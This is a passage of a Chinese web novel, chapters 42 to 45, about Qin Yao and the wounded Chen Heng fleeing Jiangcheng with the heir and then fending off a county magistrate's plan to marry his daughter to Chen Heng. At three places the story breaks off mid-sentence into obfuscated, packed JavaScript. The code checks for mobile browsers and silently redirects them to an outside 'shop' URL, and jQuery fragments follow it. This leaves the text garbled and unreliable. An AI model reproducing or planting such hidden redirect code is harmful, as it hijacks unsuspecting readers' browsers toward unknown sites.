秦瑶向来不是坐以待毙之人,她朝陈衡遥遥望去,向他投上感激的目光。 在这种关头,他不想着自己逃脱,竟要让人放她离去。 秦瑶从容的笑了笑:“你们都当我是他的软肋,想拿我威胁他?” 她突然大声冲陈衡喊道,“若我死了!你便杀了世子!自己逃吧!” 说时迟那时快,她狠狠往匕首尖端撞去! “快收刀!”世子妃一声令下。 她不能让秦瑶死,若她死了,还怎么拿她换世子! 42. 友逝自责 那侍女身手了得,几乎是秦瑶撞到匕首的第一时间,匕首便收了! 她趁此时机迅速拔下头上发簪,抵住世子妃! “世子妃柳氏,柳丞相独女!”她振振道,“丞相爱女,不忍女儿进宫受苦,便在一众求婚者中选中了世子!柳丞相惟愿女儿一生平安喜乐,当日世子是如何在丞相面前发的誓?” “你……你敢挟持世子妃!”世子浑身颤抖,“放了她,我饶你不死!” 他怎么也没料到,这两人竟在如此短的时间内,扭转了局势! 世子妃咬牙:“你可知弑杀皇室宗族是何罪?” “我和公子,断不会要了你们的命!只要放我们走!”秦瑶大声道。 “你的如意算盘要落空了。”世子妃忍着泪水,“今日就算是世子与我身死,你们也一个都别想出了江城!” “是吗?”陈衡笑了笑,道,“世子不如想想你那些兄弟,若你身死,下一个世子会是谁?到时一个守寡的世子妃,又能如何?” 世子惊的一身冷汗。 他那几个弟弟巴不得自己葬身此处! “放、放他们走!”他下令。 然而秦知府并不愿功亏一篑。 若放跑了陈衡,他日太子登上皇位,自己死路一条。 不如让所有人埋葬此地,也可对二皇子说是陈衡杀了世子与世子妃。 秦知府终于挺直了腰杆。 “你做什么!”世子眼眶已发红,“快让人撤!” 他见秦知府如此神态,心中已明白大半。 而此刻,张老爷与张夫人早吓得瘫软在地。 世子见指望不上他们,急道:“陈曲直!你要眼睁睁看我们今日死无葬身之地?快想想办法!” “他铁了心要杀你我。”陈衡冷静道,“你堂堂一个世子,就没带些自己人在张府?” “带是带了……”只不过为了将此事撇清,事后不用承受东宫的怒火,他下令自己人不准插手。 不过这也提醒了他,虽墙头都是秦知府的人,却也都是朝廷的兵! “蠢货!”陈衡不由骂道。 世子也顾不上被骂,朝墙头众人大喊:“本世子命你们放下弓箭!速速撤退!若朝廷知道你们在此诛杀本世子,罪同谋反!” 墙头人影动了动。 “无本官的令,谁也不准撤退!”秦知府目光阴骘。 “秦应抚!你敢跟本世子作对!若世子妃在你的地盘出了事,你以为柳丞相会放过你?”世子状若癫狂,“二皇子还没上位,就算他能保你,丞相也不会放过你!” “这倒是……”秦知府看了看几个女眷。 他向来不把女子放在眼里。 可又不能放她们出去乱说。 “是啊,世子在江城被人杀害,世子妃痛苦难捱,留在江城缅怀世子……只要人不死,她又自愿留在这儿,柳丞相如何迁怒于我?” 秦知府得意笑道,“来人,把这几个女眷关起来!” 墙头下去了几个人头,直奔着女眷来。 “秦娘子,你快放了我,如今我们是一条绳上的蚂蚱,全要死在这儿了!”世子妃道。 秦瑶此时手心冒汗,因握住发簪太过用力,胳膊已快撑不住了。 她却不敢放手,耳语道:“今日你我能不能逃脱,全看世子妃了,我无意杀你,你那侍女武功高强,待退到无人角落……” 话说到一半,那些侍卫已带刀将人围住。 “往后退!”带头人命令。 再往后穿过拱门,就是张家大郎住的院子,今日为了宴席早已清场,家里孩童全被带至其他处,此刻里边空无一人。 是动手的好时机。 几人被逼退至里边,一侍卫上前将东厢房的门一脚踹开。 确定无人后,道:“全都关进去!” 张夫人被丫鬟们搀扶着,先进了屋。 秦瑶挟持世子妃,也往屋里退去,把世子妃的侍女留在了最外头。 “月馨!”世子妃突然大叫一声。 秦瑶被这吼声吓了一跳,整个人一激灵,被世子妃狠狠朝后推开! 屋内的门被迅速关上,外头传来了打斗声。 世子妃靠在门上,瘫坐在地上踹着气:“你还要绑我到什么时候!” 秦瑶一只手压着胸口,尽量让自己语气冷静:“世子妃见谅,你那侍女武功高强,我怕她先对我动手。” “月馨不蠢!”世子妃瞪了她一眼,“没解决了外头的人,她不会动你。” 张夫人从惊恐中回过神:“这东厢房还有后院,后院能逃出去!” 外头声音逐渐平静。 有人敲门:“世子妃,人已解决了。” 是月馨的声音。 众人松了一口气,将月馨放进来。 “趁那边还没发现,我们快走!”世子妃道。 张夫人却犹豫:“我们家老爷还在险境之中……该如何是好!” “他们自有解决的法子!”世子妃抬头看向秦瑶,目光中一股坚定之色,“你说,是不是?” 秦瑶点头:“我们在此徒增他们的麻烦,若能逃了,他们也不用再顾忌。” 不过,若逃出去,她和世子妃依旧分属两方,有利益分歧,到时她身边的侍女难免不会杀了自己,以除后患。 “世子妃,得罪了!”她重振旗鼓,将世子妃挟在身边。 世子妃翻了个白眼。 侍女对此嗤之以鼻,不过她习惯了不说话,只默默跟着张夫人一行,护着世子妃从后门逃出了府。 张家的后门常备马车,一行人上了马车。 世子妃吩咐:“馨月,快回去帮世子,告诉他我们先走,我必要回京上报,秦知府带兵反了!” 侍女领命回了张家。 秦瑶吩咐车夫:“先到沈宅!” 如她所料,马车一动,世子的一众亲兵暗卫,皆跟了上来。 世子夫妇倒是伉俪情深,把人都留在世子妃身边保护她。 “你就不怕我让他们杀了你?”世子妃道。 此刻她不想杀了秦瑶。 一个丞相府长大的独女,自不会不懂朝堂局势,她明白,神女入京对二皇子来说意味着什么。 可她爹,柳相,却是太子少师。 一边是丈夫,一边是父亲,让她如何选! 张家的马车平稳的很,一路疾驰也不见颠簸。 秦瑶的心也逐渐平复。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989446|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还望世子妃知晓,陈公子身边有高手,若你想救世子,让我平安回到沈家,便可带人把世子救出来!” “你当我一介深宅妇人,不知你们什么心思?”世子妃目中闪现厉色,“那陈衡胸有谋略,绝不会心软放过世子,他大可以借刀杀人,将此事全归咎于那姓秦的。” 世子妃猜得很对,秦瑶也不能保证世子的安全。 “不过,陈公子对你,倒有几分特别。”她握住秦瑶的手,用力掰开,将那发簪拿走。 秦瑶怔了怔。 “告诉陈公子,只要他留世子一命,回京后我必劝他助你们一臂之力。”她下定了决心,若世子决议继续跟随他二叔,她便和离,回相府终生侍奉爹娘。 * 入夜。 秦瑶一回到沈宅,就把情况告知了刀剑,让他前去救人。 她亦将一切收拾妥当,只等陈衡回来,一起离开江城。 此地不宜久留。 月朗星稀,当陈衡满身是血带着同样受伤的世子回来,秦瑶还是吓了一跳,只觉血腥味遮天蔽月。 “公子受伤了?”她皱眉,与下人们一起将人扶进屋里。 予安因在张家别院躲过一劫,他脸色发黑,没了往日轻快,沉沉道:“刀剑折了。” 折了?她愣了一下,才反应过来。 明明几个时辰之前,她还跟他说过话。 众人脸色都不好,世子半死不活的躺在床上,陈衡也沉默半晌,眼中失了光彩。 “秦应抚你这个王八羔子!”世子气息微弱,依旧叫骂着,“等本世子回京,你完了!” “别费口舌了!”予安头一次冲上位者发火,“我叫了郎中,给世子收拾妥当后,我们就启程!” 秦知府也受了伤,正昏迷中,此时若不走,待他一醒下令封城,所有人都走不了了。 世子气焰瞬间蔫了下去:“现在就走?我岂不是会死在半路上?陈大人,你诚心的吧!” 秦瑶将陈衡外衣解下,拿出干净的备用衣裳,道:“世子妃有言在先,此次必会平安护世子回京。” 想到自己的夫人,世子不再说话。 他已猜到她的意思。 折腾到半夜,众人终于收拾妥当,秦瑶让小桃和莹秋抱着娇娇上了马车,又和予安一道将陈衡扶了上去。 世子和其他人被安排在另一辆马车。 出城很顺利,只是不多久,陈衡的伤势恶化。 他发起热来,秦瑶只觉得他靠在自己身上,身躯滚烫。 其他人靠着车壁早已睡着。 陈衡一直睁着眼睛,此刻轻道:“若我有事,别管我,阿瑶,带着他们快走。” 秦瑶此刻心中难过:“不,我不会抛下你,就像你今日,挟持了世子,只为让他们放了我。” 他一笑,道:“是我拖累了你,若我当初不曾找你,你也不会卷入险境,可能一辈子平安在江城度过,嫁个好人家,再生几个自己的孩儿……享天伦之乐……” 今夜,他的话格外多。 秦瑶忍着泪水,道:“那种生活,我上辈子体会过了,结局并不好,我不喜欢。再来一世,我宁愿遇上你,我想,刀剑也是如此……” 他在自责。 43. 男女大防 马车在官道上疾驰,迟迟不到前方镇子。 秦瑶问马夫:“老丈,我们车里有人病了,这里离最近的镇子还有多远?” 马夫沉吟了一下,回道:“若是照这个方向走,明日晌午才能到下个镇子,不过……” “不过什么?”她急道。 “若是往西北去,不过一个时辰,便可到方县。” 秦瑶立刻做了决定:“那我们就绕道!去方县!” 一个县,必定有大的药铺,更好的郎中。 况且陈衡开始说胡话了,不能再拖到明天。 她放下车帘子,将手帕覆在他额上,把汗水吸干。 这一刻,她看着他紧闭的眉眼,越发勇敢起来。 人经历了这么多,总会变得临危不惧。 “阿瑶。”黑暗中传来一道低吟。 秦瑶按住他的手:“我在。” 陈衡睁开眼睛,虽在病中,那眸中却有了神采,整个人清醒起来。 “我们要绕道临县?”他问。 想是方才听到了自己说话,秦瑶轻轻“嗯”了一声。 “你做得对。”他坚定道,“江城必料不到我们会绕道,他们的追捕……怕是落空了。” 秦瑶倒未想到这一层,解释道:“方县也算是个大县,物资齐全,能让大家喘口气也是好的……” 陈衡仿佛没听到,又喃喃打断她:“等我们回京,你便同我去见母亲……” “我母亲是个极温柔的人,我舅舅也待我十分好,若我喜欢哪个姑娘,他们不会阻拦……” 秦瑶陷入了一片沉默。 她初听这话,心中猛地欢喜雀跃,可又转念将所有期待掐灭。 不过是昏病中的话,又知几分真,几分假。 若当了真,他日梦醒,难免失望。 马车里,众人疲惫的呼吸声愈发沉重。 靠在对面的莹秋忽翻了个身,吓了她一跳。 不知过了多久,马车停了。 “姑娘,到县里了。”马夫在门外道了一声。 秦瑶掀开车帘一看,马车正停在药铺前,附近走两步就是一个客栈。 这县城的主路颇宽,地上铺了石板,看来是个大县。 她叫醒众人,又到药铺门前将门拍得咣咣作响。 所幸铺子里的郎中也是济世之人,很快接待了他们。 其余人等被予安安置在了客栈。 昏黄的烛光下,世子躺在药铺悠悠转醒,看着同样躺在草席上半死不活的陈衡,茫然问道:“这是哪儿?” 此刻郎中正在帮陈衡重新清理伤口,秦瑶在一旁递了剪刀。 她头也不抬道:“我们绕道方县了。” “方县?”世子努力回忆了一下方县位置,突然一个起身差点跳了起来,“这儿离江城只有几十里!你是想害死我们?” 他说话中气十足。 秦瑶抬眼:“看来世子伤的不重。” 一听此言,世子又瞬间软躺了回去,有气无力道:“完了!说不定明日一早,那江城就来人将我们全堵在这儿了!” 铺里的郎中手中动作一滞,警惕道:“你们是逃犯?” 可他观几人衣着配饰,并不想逃犯。 世子又摆起了架子:“老眼昏花!本世……本少爷看起来像逃犯吗?” 此时微闭着眼睛的陈衡突然出声:“方县县令是我的人,世子还是担心世子妃吧,她回京那一路,有几城是二皇子的人。” 世子无言,双眼瞪着屋顶。 他二叔应该不至于要了柳氏的命,柳相的独女也不是那软弱无能的女子。 郎中将陈衡的衣服剪开,露出大片前胸。 这地方已被鲜血浸湿,看不出什么,秦瑶皱眉,却并未扭过头去避嫌。 “这位夫人,帮我拿快干净的布,用热水湿了,把血擦干净。”郎中指了指角落里还冒着烟的水壶,把秦瑶当作了伤者的夫人。 予安还没来,她只好承担起了重任。 “还说你们不是真夫妻。”世子看着热闹,“瞧这熟练的,我看早有夫妻之实!” 陈衡费力的举起手,接过布巾:“我自己来吧!” 秦瑶瞪了世子一眼,转过身去。 待他清理干净,郎中却停手不治了。 “你们方才说江城在追捕你们,又说认识县令。”他狐疑道,“你们身份实在可疑,在下深夜接收你们已是违了规矩,此事需报予县令,证实了你们的身份,在下才敢继续。” 秦瑶回头瞥见陈衡身上一道长长的刀伤,皮开肉绽之下还未愈合,也顾不得再避嫌:“医者仁心,这伤若不治,出了人命,岂不违背您心中意愿?” 那郎中眼里精光迸闪:“我是治不得,也没说夫人治不得?他伤口已清理干净,夫人只需买了我的伤药,自行上药止血,再包扎,如此甚乎合理,任谁也说不出什么来。” 如此,她只得硬着头皮,拿了药,轻颤着手往那伤口洒去。 陈衡常年习武,身形漂亮,胸前一片也是健硕。 这对从未见过男子身子的秦瑶来说,十分不适,她尽量让自己的眼睛只盯着伤口,其他的什么也不想。 纵是如此,她还是红了脸。 那郎中给她拿来纱布,让她将伤口包扎上。 她扶起陈衡,指尖碰到他有力的肩膀,紧张的吞了口水。 “我是老妇。我是老妇。”她心中不断对自己说着,试图摒弃一切杂念。 陈衡起身的动作扯到了伤口,他全身肌肉跟着扯了下,见秦瑶双手紧张的颤抖,突然道:“我之前说的话,都是真的。” “不、不必安慰我。”她道。 世子又被勾起了好奇:“什么话是真的?” “没什么!”秦瑶忙抢先说道,“我们陷入如此境地,不该那般守着规矩,我这人,不是那不通变数之人,公子不必介怀。” 说话间,纱布已将他的伤口缠绕几圈。 秦瑶动作十分麻利。 “那若世子受伤严重,阿瑶也会如此帮他?”陈衡轻飘飘问了一句,语气中却流露出些许幼态。 这还是她第一次见陈衡如此。 世子哀嚎一声,打破了尴尬:“别,我不需要美人服侍!若被我那娘子知道,非扒了我的皮!” 秦瑶松了一口气,转了话题:“世子府中难道就没收几个妾室?” 世子摇了摇头:“我先前也是有个通房丫头的,后来娶亲,柳家不许夫家纳妾,全京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997859|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城只有我一个敢答应如此苛刻的条件……哼,那些个纨绔们,哪个能和本世子相比?大丈夫立于世间,不想着建功立业,还有闲工夫纳妾!” 陈衡缓缓看了他一眼:“世子整日斗鸡走狗,也是个草包。” “你——”世子恨恨道,“你也就这时候敢呛我几句,等回了京……” 说起回京,他眼中光芒又渐渐暗了下来。 “说到底,你救了我,我欠了你一个人情。”他沉沉道。 那名刀客挡在了自己面前,替自己受了几箭,永远留在了江城。 第二日,陈衡依旧高热不退。 方县县令张禾一大早上门,查了路引,又看了陈衡的腰牌,直言让众人放心休养,若是江城那边追来,他自会拖延。 世子在草席上躺了一晚,只觉得全身僵硬,嚷着要进客栈休息。 于是药铺只剩陈衡一人在此养伤。 郎中有一女弟子,正是张禾的小女儿,名唤张巧儿,正值二八年华,一张肉嘟嘟的小脸上,一双圆圆的杏眼,煞是可爱。 她今日来此帮忙,听闻伤者与父亲相识,更是同僚,便在前堂看病抓药之余,悄悄来看了好几次。 “秦姐姐,我师父有家传秘方,专治高热不退。”她看着陈衡惨白的面色,小声对秦瑶耳语,“我见过他如何治病,把病人扒光,在背上刮痧按摩,很快就退烧了!” “刮痧?”秦瑶从未听过这个词,不禁问,“该如何做?” 张巧儿从袖子里拿出一把玉梳,在空中比划着:“用这个狠狠刮在病人脊背上,从上至下。” “那不如请你师父来。”秦瑶皱眉,“既是家传秘方,为何你师父只给我家公子开了汤药?” 张巧儿叹了口气:“自从去年我们铺里的小徒弟,用此法偷治他人,师父就不再用这个了,怕别人再偷学了去。” 治人的法子又为何怕别人偷学? 秦瑶本想议论一二,后又觉自己不该多管闲事,于是只想着去求了那郎中,用秘方救人。 张巧儿却拉住她衣角:“姐姐去求师父,他老人家也不一定会答应,不如我们自己上手。” “你也会?”秦瑶迟疑。 她小小年纪,只偷学那一两下,着实让人心中没底。 张巧儿往门外看了一眼,见病人排起了长队,知道她师父一时半会儿顾不上过来。 “这又死不了人,秦姐姐,我们就试试,若真治好了解了你的燃眉之急,我也算功德一件。” 她这是把陈衡当她的习治练手之人了。 说着,她就要去扒了陈衡的衣裳。 正在昏迷中的陈衡感到自己被人翻动,醒了过来,哑着嗓子问:“你们做什么?” “公子莫出声!”张巧儿惊叫道,“安心治病!” 秦瑶帮她把陈衡的外衣褪去,脱去上半身中衣。 张巧儿是第一次见男子的身子,这一大片呈现在她眼前,她不由得停了手中动作,看痴了。 半晌,她才呐呐出声:“秦姐姐,你帮我吧!” 秦瑶抬头一看,她的脸早已红透了,一双手捂了眼睛,又不时从指缝中去看。 她心头登时一跳,自己竟忘了一件大事! 男女大防! 44. 今夜留宿 “公子的伤如何了?”门外传来一道熟悉的声音。 予安带着莹秋推门走了进来,见到陈衡露着大片肩背,更有一陌生女子站在他身侧,不由愣住。 莹秋“呀”了一声,忙捂脸转过身去。 “你们……这是在做什么?”予安脸色古怪。 那玉梳“咣当”掉落在地。 张巧儿低低哀泣了一声,跑了。 “才一晚上不见,你就给公子找妾了?”予安大惊。 秦瑶百口莫辩,指着地上玉梳道:“这是治病!那小姑娘是张大人的小女,药铺郎中的徒弟!” 予安张大嘴巴,将注意力全放在“张大人小女”这个身份上:“你说她是张禾张县令家的女郎?” 秦瑶沉默了一下,点了点头。 事情可能不好了。 若是就此毁了张巧儿闺中清誉,那陈衡她是跟定了。 就在众人沉默之时,老郎中终于进来了。 他看着趴在床榻上之人,叹了口气,捡起玉梳,在陈衡背上刮了起来。 “我那小徒……唉!这一个个,没一个让人省心的。”他加大手上力度,道,“此法也并非什么秘方,只是通过疏通经脉,来缓解病情罢了。” 他瞥了一眼目瞪口呆的秦瑶。 秦瑶顿时明白,她可能被张巧儿骗了。 那样一个可爱的小姑娘,怎么会?怕是她爹的授意吧! 果不其然,不到傍晚,张县令便托他手下前来接人了。 说是这里条件不好,不忍同僚受苦,邀众人前去县衙后院,将县令家眷住所腾出的几间空屋,给众人住。 陈衡还不知道发生了什么,就在迷迷糊糊中被送到了县令家中。 好在经过一天的医治疗养,病情好了许多。 张县令过来探望,拿了一叠通缉画像,放在秦瑶面前。 “不知这位夫人是陈大人的什么人?” 张禾人到中年,削瘦的脸上留着两撇胡须,整个人不苟言笑,颇为严肃。 秦瑶向他行了礼,老实答道:“民女与陈公子并无关系,偶然识得于江城,因要上京寻亲,故和公子一道,行个方便罢了。” 张禾表情微松,将通缉画像展开。 那画像上画的正是秦瑶自己。 想来陈衡是官身,世子又是皇亲国戚,自然是不能通缉的。 “之前是本官没问清楚,江城因何通缉你?”他问道。 张禾今日得了江城发来的画像,见并无陈衡等人,只有这一个女子,他原以为这女子对陈衡悉心照料,想必是陈家妾室。 若是把她送回江城,便解决了巧儿的绊脚石。 不想对方却说自己与陈衡没有关系。 秦瑶将发生在江城的事细细讲了:“那秦知府已然反了,他杀公子,甚至连世子都不打算放过,我们侥幸逃脱,他也必会四处捉拿我们,还望大人千万别让江城那边知道,我们在此。” “世子也在?”张禾大吃一惊,“你们竟还带了他?他是二皇子的人……他如今作何想?” 秦瑶摇了摇头。 张禾的脸阴沉下来:“不如将他送回江城……让他们狗咬狗去!” “大人不惧得罪皇亲,小女子佩服!”秦瑶蹙眉,“只不过世子妃已比我们提前逃出城,回京求援,若是她知道你把世子又送了回去……” 想到世子也是柳相的女婿,张禾打消了这个念头。 “陈大人如何了?”他问起陈衡病情,“江城发生了那么大的事,他可千万不能有事!我叫了大夫,一会儿快给陈大人瞧瞧!” 两人正叙话,旁边院子里却突然乱糟糟一片。 有人冲了进来,报:“老爷!不好了!小姐她……她……” 张禾立刻起身:“小姐怎么了?” “您快去看看,小姐她上吊了!” 秦瑶眼皮跳了跳,知道这事要来了。 她跟着众人过去。 院里丫鬟婆子一大堆,手忙脚乱,张巧儿已被人救了下来,昏倒在一妇人怀中。 那妇人穿着团花锦绣深蓝对襟袄,脖子上戴一银环,虽身子有些发福,面皮却细嫩,想必是张巧儿的母亲,县令夫人了。 她正哭着,见张县令过来,不由怒骂:“好好一个姐儿,你偏准许她去学什么医!不小心看了病人身子,这可得了!回来闹着就要死!” 张县令暴跳如雷:“都什么时候了,叫大夫了吗!” 所幸张巧儿被人发现的早,此刻幽幽转醒,道:“娘……” 县令夫人喜极而泣。 张县令瞪了夫人一眼,示意她噤声。 他来到女儿身边,弯下身子,轻声问:“爹问你,你见的那人如何?是不是个俊美的书生?” 张巧儿脸一歪,害羞的点头。 张县令直起身子,道:“你若愿意嫁他,自有为父给你撑腰!” "爹……"张巧儿娇羞的钻进母亲怀中。 县令夫人终于露出笑容,嗔怪道:“原来你存了这样的心思!为何不告诉母亲!你大了,本就该找个好人家,你爹都为你物色好久了!” 她吩咐下人将女儿送回闺床歇息,转头又问自己夫君,那人是何来头。 待听说陈衡前途无量,不由惊叹:“这么个家世,他陈家能瞧上我们姐儿?” 张县令也有此忧虑:“夫人,我且问你,若女儿不能为正室,你可愿意?” “那不行!”县令夫人甩了手中帕子,道,“你堂堂七品县令家的女儿,若是给他人做了妾,让我们一家的脸面往哪儿搁!” 做妾多磋磨,主母一个不高兴,便可发卖了去。 他的女儿,绝不能做妾! 两人打定了主意,才看到已站在院子里,看了半天热闹的秦瑶。 县令夫人面上闪过一丝尴尬。 她看向张县令,一双与张巧儿一样的大眼,仿佛在问这女子的身份。 张县令咳嗽了一声,掩住了尴尬:“姑娘也在。” 秦瑶向前一步:“夫人万福。” “这位是?”县令夫人摆起了笑脸。 张县令道:“随行的而已,这位姑娘想上京,与陈大人他们一路。” 县令夫人闻言,脸上笑出了一朵花。 她走过去牵住秦瑶的手,请她到屋里坐坐:“快来,姑娘不必客气,我还有事想问你。” 秦瑶想,这祸是她一个不防造成的,她得想法子化解。 于是她跟着县令夫人进了屋。 夫人让丫鬟们上了茶,又在烛光下细细看着她。 只见面前女子巧笑倩兮,美目盼兮,她不禁暗自感叹。 陈衡平日里身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009947|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边跟着的女子都是这般模样,她的女儿怎能入得了对方的眼? “姑娘贵姓?”她打破沉默。 秦瑶道:“在下免贵姓秦。” “原来是秦姑娘。”县令夫人斟酌问道,“不知秦姑娘跟在陈大人身边多久了?” 秦瑶略想了想,开始胡诌起来:“我与公子幼时便已相熟,彼时他还在江城,正巧我也是江城人士。” 县令夫人一副恍然大悟样子,心里不禁愤愤道,夫君也不打探清楚,这一对还是青梅竹马! “那……你与陈大人……”她又小心翼翼问。 秦瑶摆了摆手,甚不在意,道:“我们自小青梅竹马,此次他也是专程回来看我,故接了这桩危险差事。不过公子也说了,待回了京,便带我见他母亲。” 县令夫人神色瞬间冷了下来。 这可是个大麻烦! 若那陈大人对此女情根深种,此女再在陈衡耳边吹吹枕边风,那他是无论如何也不会娶巧儿的! 她上下打量着秦瑶:“姑娘的父母是做什么的?” 若她身家不清白…… 秦瑶忙道:“夫人放心!您遣人到江城打听一番便可知道,我父母虽不是什么达官显贵,我也绝不是那烟花柳巷之地出来的女子!” “这样啊……”县令夫人一阵失望。 室内一时沉默。 县令夫人抿了一口茶,又忽想到什么,问道:“姑娘可知,陈大人在京中是否已有婚配?” 秦瑶一笑,道:“虽未明说,这事也十有八九。” “是哪家姑娘啊?”她又问。 秦瑶掰着指头数了数,认真道:“太子殿下原想给自己妹子招个驸马,后来又觉公子若真成了驸马,不得重用,于是这门婚事是作罢了。 “那将军府的嫡女,也正相看着。” “还有礼部侍郎家的庶女,等着给公子做贵妾。” “这……这可都是不好相与的主啊!”县令夫人心头一惊,道,“姑娘以后若与这些贵女们相处,就不怕吗?” 秦瑶眸中刹那间充满了泪水:“我本就是小门小户家的女儿,为了与公子长相思守,受些委屈又如何?只要公子常想着我,我也是……也是愿意的。” 是啊!她有陈大人那一份自小的情谊在,可巧儿,又有什么倚仗呢? 县令夫人逐渐清醒了起来。 若真要巧儿做正室,那就要在此,在自己的地盘上,把生米煮成熟饭! 等他们在此喜结连理,就是回京,陈家和那些等着嫁入陈家做正室的贵女,也无力回天! 想到此,她饮茶送客。 秦瑶以为县令夫人知难而退,于是大松了一口气,回到了自己房中。 陈衡已醒,娇娇正陪着他说话。 予安让人熬了些粥,莹秋自然接过,悉心照料主人。 “秦姑娘。”莹秋改了口,以陌生的口吻吩咐道,“今日你也累了,快带小姐去休息吧,照顾公子本就是我们的事,不劳姑娘费心了。” 秦瑶起初并未听出她话里有话,反而正想着如何再让县令及夫人更快打消了嫁女的念头。 不如做出陈衡好色,就算受伤也要与她一起睡的景象。 于是她道:“今夜我不走了,就住公子这里。” 陈衡刚入嘴的一口粥,差点喷出来。 45. 睡在此处 “秦姑娘,你一个大姑娘家,说这话也不害臊!”莹秋突然发难,吓了众人一跳。 娇娇双手撑着一张脸,怪道:“我娘又不是没和爹住一起过,有什么好害臊的。” 莹秋拿汤匙的手抖了抖:“你们——你们住一起过?” “是啊,之前在沈家的时候,我总是被撵到别的屋里睡。”娇娇不满道。 秦瑶忙上前捂了她的嘴。 “娇娇还小,不懂事。”她不好意思道,“怪我没说清楚,公子尚未好转,今夜就留我在此看护。” 莹秋看了看一边站着不说话的予安,道:“你倒是说话,身为公子的近身小厮,公子的事,你做主啊!” 予安也已习惯了秦瑶在公子身边,于是道:“秦姑娘愿意留下,就留下照顾。” “你——”莹秋瞪了他一眼,“秦姑娘在此不合适!她和公子,孤男寡女的,传出去也不好。公子您觉得?” 她又看向陈衡。 陈衡已恢复了镇定,一张脸上也有了些许血色。 他对自己此刻的虚弱十分不满,这一屋子的人更是吵得他头疼,于是他微闭了眼睛,一副不耐烦。 倒是予安很快看出了他的心思:“既然秦姑娘愿意,想必是不怕传出去了。” 莹秋见无人帮她,只得闭了嘴。 娇娇拍手叫好,道:“都老夫老妻了,还怕什么,莹秋姐姐,我们快走!” 莹秋虽不情愿,见公子没出声反对,只得与娇娇退了出去。 予安则一脸笑意,走时关上了房门。 室内安静了下来,秦瑶将几只烛火灭了,留了唯一一盏,放在屋子中间的茶桌上。 她自己则坐在床边,发起了呆。 “今夜为何留下?” 陈衡的声音幽幽传来。 秦瑶看了他一眼,黑暗中,也看不清他是什么表情。 “我做了件错事。”她叹了口气,道,“给你惹了个麻烦。” “说来听听。”他倒镇定。 “张县令想要嫁女。”秦瑶蹙了眉头,愁容满面。 陈衡听出了她语气中十分为难,全身一个激灵,茫茫中竟有预感大事不妙。 “他要把女儿嫁给谁?”他问。 秦瑶只得把白天里发生的事说了。 陈衡气的差点从床上跳起来,他病得迷糊,这件事根本毫无印象! “你就这样答应了?” 秦瑶见他生气,急忙解释:“此事自然是公子做主,只是那张县令,看上去不像会善罢甘休之人。” 废话!陈衡暗道,他家女儿都上吊了,他哪能就此算了! 且这对于张禾来说,这可是门大好的亲事,他不会轻易放手。 “看来你我还得假扮夫妻。”陈衡迅速决定。 这回秦瑶并没反对,反而道:“我今夜留下,就是为了让县令一家看一看,公子和我……” 陈衡使劲儿挪动了一下身体。 他拍了拍身边空出的位置,道:“你睡此处。” 他隐约记得,她从昨晚开始就没怎么休息。 不知怎的,听她如今的哀怨,隐隐有股怒气在胸口徘徊。 若自己清醒着,绝不会由得那些人乱来! 秦瑶默默瞥了一眼那个空出来的位置,有些不自在。 “谢公子。”她指了指桌子,“我在那儿趴上一夜就好。” 说着,她便要起身。 可下一刻手腕一疼,一道大力将她扯了过去,整个人倒在床上。 她第一次离他这么近,听着耳畔传来的呼吸声,只觉经脉全部停止了流动,浑身僵硬。 他就算生病了,力气也这般大。 秦瑶此刻脸颊火热,身上也跟着燥热起来。 她想扒开衣领喘口气,却一动不敢动。 “我不会娶她。” 陈衡低沉的声音在耳边突然响起,吓得她全身一抖。 “……你放心。”他又道,“我受伤了,不会动你。” 秦瑶“嗯”了一声。 就在她以为自己会浑浑噩噩到天明时,困倦终于排山倒海般席卷而来。 陈衡还欲说些什么,听她呼吸渐匀,知她已然睡了。 他顿觉病好了大半,侧过头来。 那一双美目炯炯,盯着枕边人的侧脸。 许久。 * 翌日。 江城内,有人向秦知府偷偷报信,陈衡一众人等此刻正在方县。 秦知府大喜,派快马截了还未到开封府的人马,调转方向,朝方县奔去。 此刻秦瑶还在睡梦中。 门外莹秋与小桃争吵起来,只因昨夜秦瑶在屋内歇下,此刻众人竟无一人敢进去。 “等公子醒了,姑娘自会唤我们。”小桃常跟着秦瑶在外,不免心中偏向她,“若你此时闯进去,看了不该看的,到时别怪公子把你发卖出去!” 她早已打消了给公子做通房的念头。 见的世面多了,她自觉外边的日子比在内宅做低伏小要有趣的多。 莹秋年纪最大,领着几个丫头领惯了,不禁摆起了当家的架子。 “秦姑娘又不是主母,她只是留下照看,这有什么见不得人的!”她揪住予安,“你快去敲门,过一会儿县令大人过来,见了这等场景,叫秦姑娘往后如何做人!” 她殊不知,隔壁院子里,张巧儿已将这话听得清清楚楚。 昨日她便觉得,秦瑶与那陈公子的关系不一般。 